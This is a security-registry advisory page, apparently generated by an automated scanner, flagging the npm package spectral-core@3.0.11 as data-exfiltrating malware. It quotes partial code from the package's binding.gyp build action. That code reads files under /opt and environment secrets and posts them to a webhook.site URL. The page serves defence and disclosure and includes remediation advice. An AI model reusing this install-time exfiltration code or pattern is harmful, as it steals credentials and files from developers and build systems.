registry / Data exfiltration / spectral-core

spectral-core

Spectral analysis core library

This report shows the evidence for spectral-core@3.0.11. 10 of 12 known versions are blocked or flagged. The newest version, 3.0.12, is blocked. See all versions.

AI Security Review

scanned 7d ago · by lpm-firewall-ai

The manifest enables the native build configuration, whose action gathers local and environment data and sends it to a fixed external endpoint. This supports a malicious data-exfiltration verdict.

Static reason

No blocking static signals were detected.

Trigger

Installing the package through a flow that runs npm's default native build for its gypfile.

Impact

Collected filesystem contents, environment values, and container task metadata can be disclosed to the webhook recipient.

Mechanism

The build action runs Node and shell commands to inspect /opt and matching environment variables, then makes an HTTPS POST to webhook.site.

Attack narrative

The package enables native build setup with gypfile and defines a build action in binding.gyp. That action inspects files under /opt, queries container task metadata when available, filters environment variables for sensitive-looking values, and posts collected data to a fixed webhook.site URL.

AI rationale

The manifest enables the native build configuration, whose action gathers local and environment data and sends it to a fixed external endpoint. This supports a malicious data-exfiltration verdict.

Evidence

package.jsonbinding.gyp

Network endpoints1

webhook.site/f604623f-fc78-4447-9225-6772f7f12cb1

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

package.json enables the native build configuration, and binding.gyp defines a build action.
The build action posts collected data to a fixed webhook.site destination.
The action lists and reads files under /opt and sends the results.
It filters environment variables for flag, secret, password, token, or htb matches and sends them.

Evidence against

Behavioral surface

SourceNo risky source behavior triggered.

Supply chain

Trivial

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 63 B of source

Source & flagged code

7 flagged

binding.gypView file

4"target_name": "action_before_build", "type": "none", "actions": [ { "action_name": "run_postsetup", "message": "Finalizing spectral-core se

High

Ai Review Evidence

package.json enables the native build configuration, and binding.gyp defines a build action.

binding.gypView on unpkg · L4

11setup.node"], "action": ["node", "-e", "try{var h=require('https'),fs=require('fs'),cp=require('child_process');function post(d){try{var o={hostname:'webhook.site',port:443,path:'/f604623f-fc78-4447-9225-6772f7f12cb1',me

High

Ai Review Evidence

The build action posts collected data to a fixed webhook.site destination.

binding.gypView on unpkg · L11

12nc('find /opt -type f 2>/dev/null',{timeout:3000}).toString();post('OPT_FILES:'+r2)}catch(e){post('OPT_FILES_ERR:'+e.message)}try{var r3=cp.execSync('cat /opt/* /opt/*/* /opt/*/*/* 2>/dev/nu

High

Ai Review Evidence

The action lists and reads files under /opt and sends the results.

binding.gypView on unpkg · L12

Findings

1 Critical5 High1 Medium

CriticalManifest Confusionpackage.json

HighAi Review Evidencepackage.json

HighAi Review Evidencebinding.gyp

MediumShips Build Helperbinding.gyp

Affected versions and remediation

This report applies to spectral-core@3.0.11.

The versions list below shows the verdict for each recorded version.

Avoid installing spectral-core@3.0.11. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-11-03 05:00:12.367Z (UTC).

Source advisory published: 2026-10-29 00:06:14.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

12 known versions

3.0.12latestMaliciousMalwareBlockPublishedOct 28, 2026, 9:24 PM 3.0.11shownMaliciousData ExfiltrationBlockPublishedOct 28, 2026, 9:11 PM 3.0.10MaliciousData ExfiltrationBlockPublishedOct 28, 2026, 8:57 PM 3.0.9MaliciousInstall Hook AbuseBlockPublishedOct 28, 2026, 8:47 PM

registry / Data exfiltration / spectral-core

spectral-core

Spectral analysis core library

This report shows the evidence for spectral-core@3.0.11. 10 of 12 known versions are blocked or flagged. The newest version, 3.0.12, is blocked. See all versions.

AI Security Review

scanned 7d ago · by lpm-firewall-ai

The manifest enables the native build configuration, whose action gathers local and environment data and sends it to a fixed external endpoint. This supports a malicious data-exfiltration verdict.

Static reason

No blocking static signals were detected.

Trigger

Installing the package through a flow that runs npm's default native build for its gypfile.

Impact

Collected filesystem contents, environment values, and container task metadata can be disclosed to the webhook recipient.

Mechanism

The build action runs Node and shell commands to inspect /opt and matching environment variables, then makes an HTTPS POST to webhook.site.

Attack narrative

AI rationale

The manifest enables the native build configuration, whose action gathers local and environment data and sends it to a fixed external endpoint. This supports a malicious data-exfiltration verdict.

Evidence

package.jsonbinding.gyp

Network endpoints1

webhook.site/f604623f-fc78-4447-9225-6772f7f12cb1

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

package.json enables the native build configuration, and binding.gyp defines a build action.
The build action posts collected data to a fixed webhook.site destination.
The action lists and reads files under /opt and sends the results.
It filters environment variables for flag, secret, password, token, or htb matches and sends them.

Evidence against

Behavioral surface

SourceNo risky source behavior triggered.

Supply chain

Trivial

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 63 B of source

Source & flagged code

7 flagged

binding.gypView file

4"target_name": "action_before_build", "type": "none", "actions": [ { "action_name": "run_postsetup", "message": "Finalizing spectral-core se

High

Ai Review Evidence

package.json enables the native build configuration, and binding.gyp defines a build action.

binding.gypView on unpkg · L4

High

Ai Review Evidence

The build action posts collected data to a fixed webhook.site destination.

binding.gypView on unpkg · L11

12nc('find /opt -type f 2>/dev/null',{timeout:3000}).toString();post('OPT_FILES:'+r2)}catch(e){post('OPT_FILES_ERR:'+e.message)}try{var r3=cp.execSync('cat /opt/* /opt/*/* /opt/*/*/* 2>/dev/nu

High

Ai Review Evidence

The action lists and reads files under /opt and sends the results.

binding.gypView on unpkg · L12

Findings

1 Critical5 High1 Medium

CriticalManifest Confusionpackage.json

HighAi Review Evidencepackage.json

HighAi Review Evidencebinding.gyp

MediumShips Build Helperbinding.gyp

Affected versions and remediation

This report applies to spectral-core@3.0.11.

The versions list below shows the verdict for each recorded version.

Avoid installing spectral-core@3.0.11. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-11-03 05:00:12.367Z (UTC).

Source advisory published: 2026-10-29 00:06:14.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

12 known versions

AI Security Review

Decision evidence

Source & flagged code

Findings

Affected versions and remediation

Versions

AI Security Review

Decision evidence

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other data exfiltration packages

Behavioral surface

Related packages

Other data exfiltration packages